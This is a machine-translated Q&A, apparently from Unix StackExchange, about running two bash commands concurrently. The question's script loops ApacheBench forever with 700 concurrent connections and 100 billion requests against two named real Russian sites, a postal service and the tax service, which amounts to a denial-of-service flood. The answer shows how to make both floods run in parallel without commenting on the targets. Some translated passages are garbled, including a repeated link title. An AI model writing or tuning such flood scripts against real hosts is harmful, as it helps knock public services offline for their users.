执行以下脚本
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
做的完全一样
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
根据我的经验,第一个脚本nalog
比第二个脚本(10 多分钟后)更快地创建文件(几秒钟内),这表明后者需要等待ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
完成。事实不应该是这样,因为从到目前为止我所研究的第二个脚本旨在启动ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
而不等待ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
完成。我希望这两个ab
命令同时执行,我如何在 Bash 中实现这一点?
PS 是&
又不是&&
。我知道什么&&
是不想在这里应用它。
答案1
不,cmd1 [newline] cmd2
不像前者那样并发cmd1 & cmd2
——前者cmd1
在开始之前等待完成cmd2
。
如果您希望在第一个命令运行时继续执行,则需要&
在将其分为两行时保留:
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
变成
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post &
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
如果您想确保两个命令在再次循环之前完成,您可以使用wait
.
其他 shell 构造也提供并发性,特别是管道:(a | b
或其在某些 shell 中的变体,a |& b
用于重定向两个输出流)运行a
和b
并等待两者完成后再继续。一些 shell 还支持协进程(请参阅如何在各种 shell 中使用 coproc 命令?)和过程替代(参见如何在各种 shell 中使用 coproc 命令?)可用于同时运行命令。
看shell 的控制和重定向运算符是什么?有关列表终止符(包括&
)和管道运算符的详细信息。
¹ 除了在 ksh 中,它a
作为协进程运行。